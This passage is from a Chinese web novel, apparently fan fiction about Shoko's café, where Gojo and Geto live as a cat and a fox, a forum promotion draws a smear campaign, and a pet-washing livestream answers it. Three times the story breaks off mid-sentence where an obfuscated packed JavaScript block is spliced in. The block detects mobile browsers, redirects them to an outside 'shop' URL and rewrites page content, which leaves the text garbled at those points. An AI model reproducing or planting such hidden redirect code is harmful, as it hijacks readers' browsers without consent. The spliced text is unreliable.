“我看看……就在学校后门那条街上,走个五六分钟就到了。要不我们现在就去看看?” “走走走!反正社团活动已经结束了!” 声音渐渐远去,五条悟的抱怨声戛然而止,他慢慢转过头,对上旁边同样看向他的夏油杰。 空气安静了一秒。 下一秒,一黑一白两道影子同时从长椅上弹起来,头也不回地往咖啡厅的方向狂奔而去。 开什么玩笑!有人要来店里了,还是冲着他们来的! 这种时候不赶紧回去好好表现,难道等着硝子发现他们躲在外头偷懒吗? 再说了,要是来的人多了,硝子忙不过来,哪还有空盯着他们掉不掉毛? 在心中暗叫一声“一举两得”,两只毛茸茸的身影一前一后穿过小公园,惊起一群正在地上啄食的鸽子。 身后隐约传来两个女生的惊呼。 “诶,刚才是不是有什么东西跑过去了?” “有吗?我没注意……” “算了算了,快走吧,我想喝那家的焦糖玛奇朵好久了!” 11. 第十一章 “春日进校园,R大校园推广日活动……”家入硝子推了推自己鼻梁上,只有使用电脑办公时才戴上的平光镜,语气毫无波澜地念出页面上的文字,“你也想参加这个?” 电脑对面的小林双眼放光,用力地点了点头:“这个活动超适合我们店的!我听说R大每年文化祭的人流量都爆棚!要是能挤进去,我们就火啦!” 自刚刚那两个R大的女生点餐时提了一嘴这件事后,身为冲浪冠军的小林就立刻掏出手机开刷,果然在R大官方论坛的置顶帖里找到了相关信息。她立马放下手里的事情,拉着家入硝子和医生一起凑到电脑前浏览R大官方发出来的报名网页。 医生扫了一眼页面,上面密密麻麻的条款和注意事项看得人眼晕。他直起身,端起自己那杯已经凉了的咖啡,语气温和:“你们想去就尽管去吧,我在店里留着给你们做后勤工作。反正这种年轻人的活动,我这把老骨头也掺和不动。” “医生你才不老呢!”小林嘴里嘟囔着,眼睛却已经亮了起来,她迅速转过头,满眼期待地看向正绷着脸,认真浏览具体细则的家入硝子。 “首先要在R大论坛上注册账号,然后转发这条推送即可视为正式报名,最后投票数量前十的店铺将可免费在六月初的文化祭上设置摊位……” 家入硝子念到这里顿了一下,她摸了摸下巴,只觉得这学校真抠门,最终奖励居然只是免去文化祭上的摊位费。这么大张旗鼓搞投票,好歹也加点别的彩头吧? 不过转念一想,能在投票的过程中吸引新顾客这一点还真不错。就算投票数没达到前十,只要能在论坛里混个脸熟,让更多学生知道这条街深处还有这么一家咖啡厅,那也不亏。 她抬起头,看了一眼双目放光的小林和默默微笑的医生,又看了一眼脚边摩拳擦掌的两只毛茸茸,也不再犹豫,轻轻点了点头:“那就参加吧。” 既然三人意见一致,行动派的小林说干就干。她轻车熟路地在R大的论坛上注册了一个个人账号,ID是“砂糖与苏打”,头像是之前用手机抓拍的,缅因猫和狐狸同时转过头的一张图。 “注册好了!”她一边叫着一边拿起手机,镜头对准了柜台上那两只,咔嚓声一时此起彼伏。 “硝子姐——”她的视线全黏在手机屏幕里的猫和狐狸身上,头也不抬地喊道,“你快过来!” “干什么?”家入硝子把鼻梁上的平光镜摘下来,凑到小林的旁边看她拍的照片。 小林却伸手抓住她的手臂,不由分说地把她往柜台那边推:“来来来你来抱着它们拍几张!对对对就是这样——然后再看我,表情开心一点嘛!” 家入硝子像个假人一样被她摆弄来摆弄去,臂弯里抱着的狐狸和猫都不轻,硝子一边要稳住两只,一边还要维持表情管理,对着小林的镜头,表情也有些不自然。 “为什么我也要入镜?”她蹙起眉头,有些不解地问道。明明是给店铺做宣传,拍猫拍狐狸不就够了吗? “硝子姐,你难道没有一点自己其实是个美女的自觉吗!”小林大为震撼地从手机后抬起头来,像是听到了什么不可思议的话,“砂糖和苏打一天到晚老跑外面晃悠,你真以为学生全是冲着它们俩来的啊?” 本来正乖乖窝在硝子怀里、配合拍照的两只毛茸茸听到这话,动作齐齐一顿。 饶是他俩也没有想到,自己居然会被店里最擅长摸鱼的小林抓住了把柄! 砂糖有些心虚地悄咪咪抬眼,用余光瞄了瞄硝子的表情,那张脸上没什么波澜,这才放心地趴回她的臂弯里。结果下一秒,它就和苏打一起被放回了柜台上。 “让我看看照片。”家入硝子拍了一下袖子上沾上的黑白毛毛,然后走向小林。因为这俩毛色差异太大,她最近买的衣服都是灰色的。 小林立刻献宝般把手机呈到她面前,镜头里的女人五官精致,眉眼间带着几分疏淡的气质,就连眼底那抹常年消散不开的乌青也没有抹杀掉这份美感,反而增添了一份说不清道不明的成熟韵味。 家入硝子抵着下巴,盯着屏幕看了几秒:“这不是很普通嘛。” 小林的瞳孔立刻收缩:“你开什么玩笑!要是硝子姐你都算普通的话,那我还有医生要怎么办?” 她说着说着,转过头去用眼神向医生求助。 医生正端着咖啡杯看戏,接收到小林的求救信号后,只是笑着摇了摇头,一副“我只是个普通人,我也不懂”的表情。 家入硝子听着小林的哀嚎,默默地点了点自己的太阳穴。为什么她总觉得自己长得很普通呢?就好像她身边一直有着更吸引目光的家伙在一样—— 她的目光在店里晃了一圈,停留在柜台上,突然开始自己舔毛的砂糖和努力扒拉自己身上白色猫毛的苏打身上。 这两个家伙,怎么摆出一副“我现在很忙”的模样? 家入硝子摇了摇头,把那些奇怪的念头都从脑袋里甩出去。她看向正一脸委屈地摇着医生肩膀的小林:“这就结束了?就只拍几张照片吗?” 小林这才从刚刚的情绪里跳出来,得意地晃了晃手里的手机:“当然~不是啦!我还要拍个视频做宣传,然后开几个小号给我们的帖子引流,再找几个论坛里的熟人帮忙转发……” 果然只要一和互联网沾上边,小林的脑子就转得比谁都快。 家入硝子看着她两眼放光地规划着接下来的操作,不由得在心里点了点头。这不是挺靠谱的嘛? 自认为已经迈入中年,正在和潮流脱节的家入硝子拍了拍她的肩膀,一脸欣慰:“那就交给你了。我去后厨看看。” 说完,她就越过小林,朝着咖啡厅的后厨走去。 她的身后,刚刚还洋洋得意规划未来方案的女生瞬间变了脸色:“硝子姐!没有你我怎么拍视频啊?你快回来——” 家入硝子决定把半分钟前自己对小林“靠谱”的评价收回去。 她面无表情地看着小林手机里展示的那套黑白服饰,额头上的青筋隐隐跳动。 屏幕上,由泡泡袖和蓬蓬裙组成的短款女仆装层层叠叠,裙摆上的蕾丝边少说也有三层,领口处系着硕大的蝴蝶结。旁边还有配套的兽耳发卡,一派粉粉嫩嫩的气息。 “我觉得不行。”家入硝子双手抱臂,义正言辞地拒绝道。 “为什么!”小林指着屏幕,另一只手划拉着论坛帖子,“我觉得很好看啊?论坛里的学生们可喜欢这个了,打扮成兽耳女仆和猫猫狐狐互动一下,绝对会大爆的!” 她展示的论坛帖子里,清一色是“店主人美心善求女仆装”、“猫猫狗狗我都爱但小姐姐我更爱”这种散发着不妙气息的评论。 “小林,你是想我们的店被学校封杀吗?”家入硝子的嘴角抽了抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365224|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,皱紧眉头在身前比了个否定的手势,“总之就是不行,绝对不行。” 对方像一滩烂泥一样在座位上瘫软下去,嘴里拖着长长的尾音:“硝子姐~就试一下嘛~就一下下~。” 家入硝子不为所动,叉着腰看着她耍赖。 大抵是对方湿漉漉的眼神起了作用,她叹了口气,从对方的手里拿过手机,又翻看了一遍刚刚的兽耳女仆装图片,图片里的都是些年轻的女孩子,对着镜头笑得灿烂。 她看了一眼手机里的图,又看了一眼柜台上,因为两人对话而好奇地凑过来、假装自己没在偷听的砂糖和苏打。 灵光闪过的瞬间,硝子拿着手机在小林面前晃了晃,语气轻松:“喂。” 小林抬起眼皮,有气无力:“干嘛……” “看起来,我们的想法都被评论区里的发言局限了,”硝子的嘴角微微扬起,眼里露出少有的狡黠,“为什么不试试反着来呢?” 反着来的意思是指,家入硝子穿执事装,砂糖和苏打穿宠物女仆装。 不得不说,这实在是个天才的想法。 家入硝子身高一米七三,在女生中绝对算得上高挑。再加上她常年偏瘦的体型,换上合适的黑色马甲和修身长裤,再把平时随意披散的头发利落地扎起来,整个人浑身上下散发出一股飒爽干练的气息。 小林站在旁边,看得眼睛都直了:“我要爱上你了硝子姐!” 她捂着胸口做出一副心脏中箭的表情,然后眼巴巴地凑上去:“可以对我做一个那个吗?就是那个‘呀咧呀咧,拦不住的大小姐~’” 听到这话的硝子一脸汗颜,伸手把她凑过来的脸推开:“虽然不知道那是什么,但是你说完这句话,我就寒毛起立了。所以这个也不行。” 被再次拒绝了的小林撇了撇嘴,很快就把这点小失落抛到脑后。她转身,目光锁定了柜台上那两只从刚才开始就一直呆愣愣盯着这边的毛茸茸。 “好啦~”她搓着手,笑得一脸荡漾,“轮到你们两个了哦~” 按理来说,以这两家伙的性子,肯定会疯狂挣扎才对。但平时这种时候早该跑没影的两只,今天却像被施了定身咒一样,视线黏在硝子身上挪不开。直到小林把它们抱起来才象征性地蹬了蹬腿,任凭小林挨个套上黑白相间的荷叶边布料,再在胸前把扣子扣好。 “超级合适!”小林把最后一只扣子扣好,爱不释手地摸了一把缅因毛茸茸的大尾巴,又趁机撸了一把平时摸不到的狐狸头,“猫猫女仆,狐狐女仆,嘿嘿!” 她的话音刚落,砂糖和苏打才如梦初醒地反应过来,在彼此的眼睛里看到了自己被蕾丝和荷叶边淹没的狼狈模样。 它们接下来的反应却截然不同,缅因猫适应良好地踩着猫步晃到玻璃门前,转着圈从不同角度欣赏了一番自己的新衣服,狐狸却完全相反,把脑袋埋进两只前爪之间趴在地上,一副心如死灰的模样。 医生不知道什么时候蹲到了它旁边,伸出手,聊胜于无地拍了拍它的后背。 “就穿这一个小时,”他温声安慰道,“忍忍就过去了,听话哈。” 苏打还趴在地上装死,砂糖不知什么时候已经凑到它旁边,扒拉着对方背上的大蝴蝶结。 家入硝子忍不住摸出自己的手机,对准面前的一幕也拍了一张。她看了看手机里的画面,嘴角微微扬起。? 12. 第十二章 小林上传的那条视频在R大论坛里一石激起千层浪,很快就涌出来一堆拥护毛茸茸的学生,一边保存图片,一边在评论区里疯狂发表情包。 最先冒头的是雪理,她顶着个二次元美少女头像,ID叫“毛绒绒就是王道”,在视频发出去不到三分钟就抢到了沙发。 #1 毛绒绒就是王道 sf!这不是砂糖和苏打吗?ps:我去了三次才终于吸到砂糖(笑)” 底下还附了一张她之前来店里时拍的照片,女孩把下巴虚虚抵在缅因猫圆圆的脑袋上,猫耳被压得垂下去一点,缅因却举起右爪,好像在学女孩对着镜头比耶的姿势。 小林刷到最新回复的时候,激动得差点从椅子上跳起来。 既然雪理评论了,平时和她形影不离的铃音也跟在下面回复,她的ID是一串英文乱码,直接甩出一组九宫格,不管是表面飘着樱花拉花的拿铁,餐桌上精心摆放的刀叉和草莓蛋糕,还是从镜头前走过的狐狸背影,都显露出一股温馨惬意的气息。 配文只有一句话:“饮品和甜点的味道也很不错,周围吃腻了可以来换换口味。” 铃音是班上有名的“美食达人”,周末不是在品鉴美食就是在发现美食的路上,她的这条评论点赞数蹭蹭往上涨,很快冲到了前排。 评论区彻底热闹起来。 #4 Ruacats 居然是这家店!上次被那只叫砂糖的小猫骗过去了,还有谁和我一样上当的?不过他家咖啡确实很好喝xd #5 干杯! 我懂我懂,那种被诈骗的感觉……走进店里才发现还有苏打!虽然它完全不理人T T #7 长风万里 上个月生日就是在隅家过的!老板还送了我一块小蛋糕!砂糖蹲在我旁边陪我吃完了全程。Ps:虽然它全程只是盯着蛋糕看,一口没吃着,还有苏打在旁边看戏也特别好笑 配图是一张缅因猫蹲在桌角,眼巴巴盯着蛋糕的图,旁边的黑狐狸眼神里带着几分鄙夷,底下一片看热闹的“哈哈哈”。 除了显眼的毛茸茸,很快也有人注意到了视频里的另一个重要角色。 #17 R大颜控协会会长 等等,没人注意到视频里那个穿执事装的小姐姐吗?那个气质那个眼神那个露出来的后颈——我直接say嗨老婆! #18 年年年糕 你不是一个人我也注意到了!建议店家把小姐姐单独切片发一下,我愿意投币 #19 贝壳水母 你们冷静点啦……对了,这家店在哪里?我明天就去。 #20 匿名用户 楼上才是要冷静点吧(笑) #21 毛绒绒就是王道 哈哈哈你们说的是硝子姐吧!她平时不穿这样的,这次是拍视频才换的。真人比视频里还好看,就是话不多,有点高冷,但人超好! #22 sreydtfughbj @毛绒绒就是王道硝子姐调的饮料我可以一直喝到毕业……对了,她还有副平光镜,戴眼镜和不戴眼镜是两种气质。 #23 R大颜控协会会长 什么???还有眼镜杀???@R大颜控协会副会长今天下课就陪我去 #24 R大颜控协会副会长 遵命 #25 年年年糕 你们两个够了喂w拍照的话记得私我一份 评论区一片欢腾,已经有人在约着组队去探店了。 小林刷着这些评论,嘴角越咧越大。她往下划了划,看到好几个熟客的ID都在,都用不着她切小号,美滋滋! 硝子已经换回了原本的衣服,从柜台前经过时,看见她抱着手机傻笑,随口问了一句:“怎么了?” 小林把手机举起来:“硝子姐你看!” 家入硝子扫了一眼,目光在夸自己的那几条评论上停了一秒,面色毫无波澜:“还不错,继续努力。” 小林呲着个大牙乐呵呵地继续刷手机,时不时截个图保存下来。 砂糖和苏打蹲在柜台上,眯着眼越过她的脑袋看那些评论。 “怎么样?没想到自己这么受‘猴子’欢迎吧?”五条悟一副幸灾乐祸的表情。他原地转了一圈,欣赏自己被评论区夸出花的白色皮毛和大尾巴,甚至想给那些评论挨个点赞。 “……”夏油杰眯起眼睛,面无表情地看着小林划拉手机,实在是对自己被夸“可爱”这件事感到微妙。 小林刷得差不多了,把手机放下,伸了个大大的懒腰。 “嘿嘿,开了个好头!” 她老早就注意到凑过来的两只了,刚转过身想撸一下它们,结果苏打已经跳下柜台,慢悠悠地走向自己的专属垫子,砂糖也跟着从柜台上跳下去,只留给她一条竖起来的大尾巴。 “欸——别走啊——” 两只毛茸茸头也不回地远去了。 小林嘟囔了一句“和硝子姐一样高冷”,然后就去洗手区洗手,准备做甜点去了。 但事情的发展并不能一直都这么顺风顺水。 帖子热度一高,必然会混进几个唱反调的。 小林盯着评论区里那些“一想到食物和饮料里有动物的毛发,我就浑身难受”和“猫屎咖啡里给你们加点真材实料”的恶意言论,气得哇哇大叫,恨不得化身八爪鱼,手机和电脑双开,四个账号轮流上阵跟人舌战群儒。 “店里一天拖三遍地,比你家床品都干净!我看你就是那种次次吃饭都吃出头发的倒霉蛋吧?” “恶意造谣过分了吧?你去过这家店吗就在这里yy——” 她噼里啪啦地敲着字,手指都快敲出腱鞘炎了,刚抬起头想找家入硝子诉苦,却发现硝子不知何时已经去了后厨,大概是盘点库存去了。 倒是医生端着杯咖啡,慢悠悠地晃到她背后。 看她敲字敲得快冒出火星子,医生劝慰道:“反正都是网上随口说说,犯不着往心里去。” “怎么能不气!” 小林猛地把手机怼到他眼前,气得眼睛都红了,“他们居然嫌弃砂糖和苏打不干净!那可是我每月按时送宠物店洗澡,从头顶到尾巴尖都香喷喷的小猫和狐狸啊!” 她指着一条“过敏人群谁敢进这家店”的评论,脸色垮下来。 医生低头看了眼评论区,脸上的笑容没变,但小林莫名觉得那笑有点凉。 他端起咖啡抿了一口,轻描淡写道:“你那几条怼得还是太温和了。直接这么回复:我们店里每天定时清洁,消毒记录全留存,想看可以私信。至于您担心的过敏问题,建议您先去医院查一下过敏源,确诊了再来维权,别在网上替空气操心。” 小林张大了嘴看着他。 “怎么了?”医生耸了耸肩,看着石化般的小林终于收回了她的下巴。 “没、没什么!”她搓了搓自己不知何时起了鸡皮疙瘩的手臂,小声嘀咕,“原来医生你也会怼人啊。” 她这时才想起来,在开宠物医院那几年,医生虽然平时一直温温和和的,但要是真踩到他底线,阴阳怪气起来比谁都厉害。 不过这些话她都憋在心里没说出来。 医生摸了摸下巴,语气正经了些:“虽然都是空口无凭的谣言,不过确实也有必要好好澄清。它俩平时只在用餐区和柜台那块活动,而且店里一直有免洗洗手液,客人随时能清洁,这些都得说清楚。” 小林恍然大悟:“是哦!我这就去——” 她还在和评论区搏斗,医生却也摸出了自己的手机,在屏幕上划拉了几下:“好歹也在这里开了几年的宠物医院,找几个老伙计们帮个小忙,应该不过分吧?” 没一会儿,帖子里的恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365225|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评被压了下去,点赞最高的几条变成了“这家店我去过,真的很干净”“支持狐狐猫猫,反对恶意抹黑”,小林这才吐出了那口一直憋在心头的浊气,美滋滋地放下手机去收拾桌椅了。 结果第二天,那些家伙又卷土重来。 不仅回来了,还带了更多的人。 #47 匿名用户 我就说嘛,这种店怎么可能干净,肯定是请了水军。 #48 匿名用户 楼上+1,那几条夸的看起来就像小号。 #51 匿名用户 遵命有没有人去实地考察一下?拍点真相回来打脸。 “有本事别匿名啊!你们这几个只敢躲在手机后面偷偷蛐蛐人的混蛋!”小林气得头发都快竖起来了。 更让她难受的是,店里的客流量的的确确下降了。 平时这个点,靠窗那排座位应该已经坐满了附近大学过来喝咖啡的学生,但现在只稀稀拉拉坐着两三桌,还都是熟面孔的老顾客。 “可恶——!”小林趴在柜台上,把脸埋在手臂里,发出闷闷的哀嚎。 大概是看她太可怜,一向不喜欢人类的苏打溜溜达达地走过来,跳上柜台,歪着脑袋看了她一会儿,然后伸出爪子轻轻拍了拍她的肩膀。 小林抬起头,对上那双琥珀色的竖瞳:“苏打……” 她瞬间弹起来,伸手想抱住平时碰都不让碰的狐狸,却被对方一个灵巧的闪身躲了过去,扑了个空。 旁边传来医生低低的轻笑声,砂糖趴在他的膝盖上,他刚刚一直在低头继续擦杯子,只是那个杯子他已经擦了快两分钟了。 下午五点多,店里难得清静。 小林趴在桌上,盯着手机屏幕发呆,恶评还在继续,虽然不如昨天凶猛,但就和蚊子一样嗡嗡地,拍不死又赶不走,烦得要命。 “还在看?”家入硝子从后厨出来,把手里的两杯拿铁顺手放在愁眉苦脸的小林和医生面前,“喝点热的,别看了。” 小林的喉咙里发出一声重重的叹息,医生也只是安静地接过咖啡不说话。 家入硝子看着他俩这副蔫蔫的样子,挑了挑眉。她平时不怎么关注R大论坛上的信息,对网上的流言蜚语也没什么兴趣。 她伸手rua了一把凑过来的猫头和狐狸头,心里琢磨着该怎么办。这种事,其实她以前也经历过,公司做产品开发,怎么可能遇不上客户差评、同行抹黑的情况?无非就是继续咬着牙继续做下去,等用过的人多了,口碑自然会反转。要是还不行,那就是自己有问题,慢慢整改就好。 硝子从抽屉里翻出一个笔记本和一支笔,啪地放在桌上:“别叹气了,来帮我想想。” 小林抬头,一脸茫然:“想什么?” 医生也把椅子拉近了些,三个人围成一圈。 “当然是想想怎么解决目前的情况。” 硝子打开手机,快速浏览了一遍论坛帖子,然后在笔记本上写写画画,拎起笔记本在两人面前晃了晃:“论坛里大家关心的内容,我都挨个列出来了。他们质疑什么,我们就去检查什么,整改完了,把证据拍下来发上去。虽然是笨办法,但也是最有用的办法。” 医生接过笔记本,和凑过来的小林两人一起逐条阅读。 毛发问题:两只的清洁频率、店内每日清洁消毒记录;分区问题:后厨、出餐区禁止外人和动物随意进入,拍照公示;过敏问题:在门口贴过敏提示、提供免洗洗手液和应急医疗用具…… 每一条都列得清清楚楚。 医生不禁感慨:“硝子,你这是把这事当成产品调研来做了吧?也太认真了。” 硝子耸了耸肩:“习惯罢了。既然要做,那就要尽力做到最好,不让人挑出毛病。” 她低头看了一眼主动凑过来的砂糖和苏打:“首先就从你俩的清洁开始。” 13. 第十三章 于是第二天,两只毛绒绒就被硝子和小林打包送去了莉奇酱的宠物店。 莉奇酱也是熟练工了,她在这条街开了五年宠物店,洗过的猫猫狗狗能塞满R大的足球场。平台上的个人账号里,私信箱常年堆满求教的留言,全是问她怎么才能把宠物洗得服服帖帖。 所以一听是要直播洗猫洗狐狸,她当场和两人一拍即合。莉奇酱转身从柜台后面翻出一个支架,三下五除二把手机架好,打开了自己的直播间。 莉奇酱架好手机后就开始准备洗护器材,小林忍不住凑到手机后面去,又把家入硝子拉过来,两个人一起看着直播人数从零慢慢跳到个位数,再跳到两位数。 [来了来了] [莉奇酱今天洗什么?] [缅因和狐狸???这俩一起洗吗?] [楼上的不用瞎操心啦,主播肯定心里有数] [莉奇酱专业洗护手法,我家的魔童洗了都说好~] 莉奇酱对着镜头挥了挥手:“今天受朋友嘱托,帮她洗咖啡厅的那两只。对对,就是最近R大论坛上很火的那两只~” 弹幕瞬间炸了。 [卧槽是砂糖和苏打?] [我昨天刚在论坛上刷到了那个帖子!] [等等,论坛上不是有人吵它们脏不脏吗] [莉奇酱这是要亲自下场辟谣?] [只有我关注莉奇酱居然和咖啡厅的员工是亲友吗] [隅——记得在你的帖子上贴上直播链接呀,让大家都来看看] 被好心的弹幕提醒,小林赶紧摸出自己的手机,登上论坛后把莉奇酱的直播间链接置顶。 莉奇酱扫了一眼弹幕,笑眯眯地合起双手放在脸侧,转头看向蹲在台子上,正互相交换眼神的两只毛茸茸:“准备好了吗?小家伙们。今天咱们洗个通透的~” 直播刚开始十分钟,莉奇酱先是摸着两只毛茸茸,和它们玩了会儿,然后拿起梳子开始给砂糖梳毛。 几条弹幕飘过。 [卧槽这只缅因的毛好蓬松] [不光是蓬松,梳这么久好像都没什么打结的] [为什么我家的缅因腋下就超多毛结?我嫉妒了] 莉奇酱把缅因全身的毛都梳了一遍,然后把梳子凑到镜头前:“刚刚有人在问为什么缅因不打结,因为这只是少见的全身丝质毛,比起常见的背丝肚棉和全棉毛更顺滑,除了换毛期,基本不掉毛的,平时也很好打理哦~” 砂糖得意地扬起下巴,冲着硝子的方向“喵”了一声。 [它好像知道自己的毛很顺滑] [得意小猫咪!] [猫好人好] [小猫咪在冲谁叫呢] 不经意瞥见这条弹幕,莉奇酱突然转头看向镜头外:“硝子你别站那么远啊,过来过来,让观众看看这俩平时是谁在养~” 家入硝子顿了一下:“不用了吧。” “来嘛来嘛!”小林笑得不怀好意,把她往镜头前推。 [???新出场的美女是谁] [卧槽这不就是视频里那个执事装小姐姐吗] [真人比视频里还好看!] [原来平时是这种风格吗] 硝子面无表情地对着镜头点了点头,然后默默退到一边。 小林在一旁笑得不行,被她捏了一把手臂上的软肉,哎哟哎哟地求饶。 梳完毛,接下来要进行的就是剪指甲环节。莉奇酱略微有些犹豫:“嗯……上次这个缅因弟弟不让我动它指甲。今天能不能乖一点呢?你主人可是对我给予了厚望哦?” 她试探性地用梳子碰了碰砂糖的爪子,嘿,今天没被哈气也没被龇牙,有戏! 莉奇酱的眼睛一下子亮起来,利落地把缅因抱在怀里,几下就剪去了尖尖的猫指甲。 苏打僵硬地坐在台子上,看着白色的缅因猫被抱进水池里,从冲水、打沐浴露、护毛素再冲干净,整个过程都一动不动,最后被放进宠物烘干箱里。 等莉奇酱的手伸过来抱它的时候,黑色的狐狸往后缩了缩。 看着狐狸不太配合的举动,弹幕一下子看起戏来。 [狐狸居然让洗?不咬人吗?] [这好像还是莉奇酱第一次洗狐狸……] [狐狸也是犬科,莉奇酱连邪恶比格都能制服,这只肯定也轻轻松松不在话下!] 小林眉头紧蹙,在旁边小声喊:“苏打,配合一下!不然咱们店就完了!” 一只手从镜头外面伸进来,蒙住了狐狸的眼睛,然后把它的整个脑袋按在台面上。 苏打:“……” 烘干箱里,砂糖的耳朵动了动,隔着玻璃往这边看了一眼。如果家入硝子看向那边的话,就会发现它的眼里全是看到对方被“特殊照顾”的嘚瑟。 硝子淡淡的声音在直播间里响起:“我按住它了,别担心,你开始吧。” 狐狸停止了挣扎,趴在台子上任由莉奇酱开始重复刚刚的程序。 小林站在旁边,看着硝子一只手就把苏打按得服服帖帖,目瞪口呆。 [哈哈哈刚刚苏打那个惊恐的眼神] [小姐姐幽我一默,这也行?] [#没想到你竟是这样的苏打# #苏打狐设崩坏#] [第一次看到洗黑狐狸,妈妈我人生圆满了……] [忧郁苏打] 小林看着屏幕上刷过去的弹幕,小声嘀咕:“我怎么觉得苏打的表情,好像要刀了我们所有人的样子……” 莉奇酱的工序已经进行到了后半部分,一边往水池里的狐狸身上浇宠物沐浴露,一边说:“狐狸我也是第一次洗,不过这只明显是家养习惯了的,没那么怕人。你们看,它虽然紧张,但不咬人不挠人。” 她把对方大大的耳朵轻轻翻过来,展示里面粉红色的耳道:“很干净,也没有耳螨,主人养得挺精细的。” 弹幕带着小花飘过。 [莉奇酱手法好好,我家的逆子一沾水就开狂暴模式……] [我之前还担心宠物店洗不干净……] [人家耳道都给你看了还想怎样] 被热水打湿,浑身上下缩小了一圈的黑狐狸眼神放空地蹲在水池里,仿佛灵魂已经走了一会儿了。 偏偏莉奇酱还时不时戳一下它的屁股:“挪一挪呀小苏打,你转个身,不然我怎么洗得到你的尾巴?” 小林和硝子站在手机后面,看着手机上滚过去的一片“哈哈哈”,自己的心情也忍不住好起来。 直播间的话题从猫和狐狸本身,拐到莉奇酱的手法,再向着大家各自洗猫洗狗的血泪史一路狂奔,完全没人再提“干不干净”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365226|199803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 莉奇酱说话慢悠悠地,手上动作却很利落,没一会儿就把两只洗完吹干,蓬蓬松松地蹲在台上,毛发在夕阳的余晖下根根分明,干净得能反光。 弹幕一下子炸了。 [这也太干净了吧] [比我弟头发都干净,顺便一提那小子三周才洗一次头] [就这么把亲弟弟供出来好吗,你弟还不如一只猫一只狐狸爱干净] [那个说毛发问题的出来走两步] 莉奇酱凑到镜头前,笑眯眯地说:“好啦,今天的直播就到这儿,直播回放我会保留三天,想看的可以自己来看。记得给隅家的两位点点关注哦,下次见~” 屏幕上的弹幕还在刷,但她已经干脆利落地关闭了直播间,把两只毛茸茸从台子上抱下来,塞回航空箱里,递给了一旁的硝子和小林。 “欢迎下次再来~” 硝子和小林提着航空箱回到了咖啡厅里,医生已经把店里打扫过一遍了,地面干净得能映出人影。 家入硝子学着莉奇酱的手法,把砂糖和苏打从航空箱里倒出来,又拍了拍手,把小林和医生招呼过来。 解决了毛绒绒的清洁问题,下一步是明确店里的分区规划。后厨、出餐区这种绝对不能让动物进入的地方,她特意买了彩色的警戒线和可爱的小围栏,又让医生装上透明的玻璃隔断,站在柜台外面,就能直接看到餐品是如何制作的。 小林拿着手机,在店里各个角度拍照,嘴里念念有词:“这张可以,这张也行……哎砂糖你别挡镜头!” 砂糖蹲在警戒线旁边,尾巴甩来甩去,一副“在越界的边缘大鹏展翅”的挑衅姿态。 苏打则是老老实实趴在警戒线的另一边,脑袋枕在前爪上,眼睛半眯着,一副岁月静好的样子。 家入硝子拿着干净的铁锹走过来,利落地往上一铲,就把捣乱的某只猫铲了起来,稳稳当当地放到外面去。 缅因落地后甩了甩尾巴,不满地又要往那边凑,被站起来的狐狸挤到一边去。 照片发到论坛上,评论区很快有了动静,有人留言:“这个玻璃隔断真不错,围栏很可爱啊,整家店都焕然一新。” 但也有质疑的声音:“拍得倒是好看,就不知道平时是不是也能严格遵守,别只是摆拍啊。” 小林看着这几条,深吸一口气,把手机扣在桌上。 “硝子姐——”她拖着长音,“他们还是不信,怎么办呀?” 家入硝子正在擦吧台,头也不抬:“那就继续。你每天都发,怎么不算日常也严格遵守了呢?” 医生在旁边拖地,对上小林的目光后笑了一下,冲她轻轻点了点头。 小林悠悠叹了口气,正往下继续划拉网页,门口的风铃突然响了。 一个留着黑色短发、笑容开朗的女人拎着手提包推开了门,声音轻快:“这里就是‘砂糖与苏打’吗?还有执事装小姐姐?” 她对上家入硝子的目光,笑得眼睛都弯起来:“不用紧张,我就是刷到了论坛上的帖子,专程来看看。” 家入硝子手里的动作停下来,不知为何,她总觉得对方的气质有几分熟悉。但她可以肯定,自己绝对没有见过这样的人。不过问题也不大,兵来将挡,水来土掩嘛。 “欢迎光临。” 她语气平淡地说道。